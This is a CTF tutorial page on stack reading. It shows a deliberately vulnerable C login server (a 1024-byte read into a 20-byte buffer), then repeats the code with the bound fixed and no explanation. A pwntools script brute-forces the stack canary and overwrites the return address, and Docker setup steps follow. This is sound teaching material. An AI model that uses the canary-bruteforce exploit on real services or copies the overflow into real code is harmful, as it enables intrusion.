🏳️
The CTF Recipes
  • Introduction
  • Cryptography
    • Introduction
    • General knowledge
      • Encoding
        • Character encoding
          • ASCII
          • Unicode
          • UTF-8
        • Data encoding
          • Base16
          • Base32
          • Base64
      • Maths
        • Modular arithmetic
          • Greatest Common Divisor
          • Fermat's little theorem
          • Quadratic residues
          • Tonelli-Shanks
          • Chinese Remainder Theorem
          • Modular binomial
      • Padding
        • PKCS#7
    • Misc
      • XOR
    • Mono-alphabetic substitution
      • Index of coincidence
      • frequency analysis
      • Well known algorithms
        • 🔴Scytale
        • 🔴ROT
        • 🔴Polybe
        • 🔴Vigenere
        • 🔴Pigpen cipher
        • 🔴Affine cipher
    • Symmetric Cryptography
      • AES
        • Block Encryption procedure
          • Byte Substitution
          • Shift Row
          • Mix Column
          • Add Key
          • Key Expansion / Key Schedule
        • Mode of Operation
          • ECB
            • Block shuffling
              • Challenge example
            • ECB Oracle
              • Challenge example
          • CBC
            • Bit flipping
              • Challenge example
            • Padding oracle
              • Challenge example
          • OFB
            • Key stream reconstruction
            • Encrypt to Uncrypt
  • 🛠️Pwn
    • General knowledge
      • STACK
        • Variables storage
        • Stack frame
      • PLT and GOT
      • HEAP
        • HEAP operations
        • Chunk
        • Bins
        • Chunk allocation and reallocation
      • Syscall
    • Architectures
      • aarch32
        • Registers
        • Instruction set
        • Calling convention
      • aarch64
        • Registers
        • Instruction set
        • Calling convention
      • mips32
        • Registers
        • Instruction set
        • Calling convention
      • mips64
        • Registers
        • Instruction set
        • Calling convention
      • x86 / x64
        • Registers
        • Instruction set
        • Calling convention
    • Stack exploitation
      • Stack Buffer Overflow
        • Dangerous functions
          • gets
          • memcpy
          • sprintf
          • strcat
          • strcpy
        • Basics
          • Challenge example
        • Instruction pointer Overwrite
          • Challenge example
        • De Bruijn Sequences
        • Stack reading
          • Challenge example
      • Format string
        • Dangerous functions
          • printf
          • fprintf
        • Placeholder
        • Data Leak
          • Challenge example
        • Data modification
          • Challenge example
      • Arbitrary code execution
        • Shellcode
        • ret2reg
        • Code reuse attack
          • Ret2plt
          • Ret2dlresolve
          • GOT Overwrite
          • Ret2LibC
          • Leaking LibC
          • Ret2csu
          • Return Oriented Programming - ROP
          • Sigreturn Oriented Programming - SROP
          • Blind Return Oriented Programming - BROP
            • Challenge example
          • 🔴Call Oriented Programming - COP
          • 🔴Jump Oriented Programming - JOP
          • One gadget
        • Stack pivoting
    • 🛠️Heap exploitation
      • Heap overflow
        • Challenge example
      • Use after free
        • Challenge example
      • 🛠️Double free
      • 🔴Unlink exploit
    • Protections
      • Stack Canaries
      • No eXecute
      • PIE
      • ASLR
      • RELRO
    • Integer overflow
Powered by GitBook
On this page
  • Source code
  • Exploitation
  • Exercice
  1. Pwn
  2. Stack exploitation
  3. Stack Buffer Overflow
  4. Stack reading

Challenge example

Source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "serve.h"

int fd_f;

int authentification(void) {
    char buf[20];
    char passwd[16] = "";  // array to store the secret pass

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    write(fd_f, "Password :\n",11);
    read(fd_f, buf, 1024);
    if (!strcmp(buf, passwd)) {
        return 1;
    } else {
        return 0;
    }
}

void admin(void){
    write(fd_f, "Congratulation\n", 15);
}

void serve(int fd_) {
    int auth;
    fd_f = fd_;

    write(fd_f, "Welcome, please login in order to use the app.\n",47);
    auth = authentification();

    if (auth) {
        write(fd_f, "Welcome User\n",13);
    } else {
        write(fd_f, "Bad password\n",13);
    }
    return;
}


int main() {
    Serve socket = Serve_Create();

    if(socket.Bind(&socket, "0.0.0.0", 1337) < 0){
        perror("Binding socket error :");
        exit(1);
    } else if (socket.Listen(&socket, serve, 5) < 0){
        perror("Listen error :");
        exit(1);
    }
    return 0;
}

The serve.c code will not be explain here.

It will just serve the binary over a socket and make a fork of it to handle multiple connection at a time.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "serve.h"

int fd_f;

int authentification(void) {
    char buf[20];
    char passwd[16] = "";  // array to store the secret pass

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    write(fd_f, "Password :\n",11);
    read(fd_f, buf, 19);
    if (!strcmp(buf, passwd)) {
        return 1;
    } else {
        return 0;
    }
}

void admin(void){
    write(fd_f, "Congratulation\n", 15);
}

void serve(int fd_) {
    int auth;
    fd_f = fd_;

    write(fd_f, "Welcome, please login in order to use the app.\n",47);
    auth = authentification();

    if (auth) {
        write(fd_f, "Welcome User\n",13);
    } else {
        write(fd_f, "Bad password\n",13);
    }
    return;
}


int main() {
    Serve socket = Serve_Create();

    if(socket.Bind(&socket, "0.0.0.0", 1337) < 0){
        perror("Binding socket error :");
        exit(1);
    } else if (socket.Listen(&socket, serve, 5) < 0){
        perror("Listen error :");
        exit(1);
    }
    return 0;
}

The buffer overflow occur during the authentication function at line 19 :

read(fd_f, buf, 1024);

Exploitation

Using the stack reading technique is possible to retrieve the canary value and then reuse it and overwrite RIP to jump to the admin function.

from pwn import *

def get_overflow_len(wait, expected):
    i = 1
    while i < 1000:
        print(f"Trying offset : {i}")
        p = remote("127.0.0.1", 1337)
        p.recvuntil(wait)
        p.send(b"A" * i)
        res = p.recvall(timeout=0.5)
        p.close()
        if not res or expected not in res:
            print(f"[bold][green]✓[/green]found offset :[/bold][green] {i - 1}[/green]")
            offset = i - 1
            return offset
        i += 1

def leak_stack(wait, expected, offset, length=8):
    global stop
    stack = b""
    for i in range(length):
        for j in range(256):
            p = remote("127.0.0.1", 1337)
            b = j.to_bytes(1, "big")
            print(f"Trying byte : {b}")
            p.recvuntil(wait)
            p.send(b"A" * offset + stack + b)
            res = p.recvall(timeout=0.5)
            p.close()
            if res and expected in res:
                print(f"byte found : {b}")
                stack = stack + b
                break
            if j == 255:
                stop = True
                print("Unable to leak stack byte")
    return stack

offset = get_overflow_len(b"Password :\n", b"Bad") #Retrieve buffer overflow offset
leaked = leak_stack(b"Password :\n", b"Bad", offset) # Retrieve stack canary
print(f"Leaked data : {hex(u64(leaked))}")

p = remote("127.0.0.1", 1337)
p.recvuntil(b"Password :\n")
p.send(b"A"*offset + leaked + p64(0) + p64(elf.symbols["admin"])) # Exploit
p.interactive()
$ python3 exploit.py
Leaked data : 0x1032ebdd91559100
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Switching to interactive mode
Congratulation

Exercice

docker pull thectfrecipes/pwn:stack_reading

Deploy the image using the followed command :

docker run --name buffer_overflow_stack_reading -it --rm -d -p 3000:3000 thectfrecipes/pwn:stack_reading

Access to the web shell with your browser at the address : http://localhost:3000/

login: challenge
password: password
PreviousStack readingNextFormat string

Last updated 2 years ago

The binary is compiled without and is served using the serve.c code

If you want to try this exploit by yourself, you can pull :

🛠️
PIE
this docker image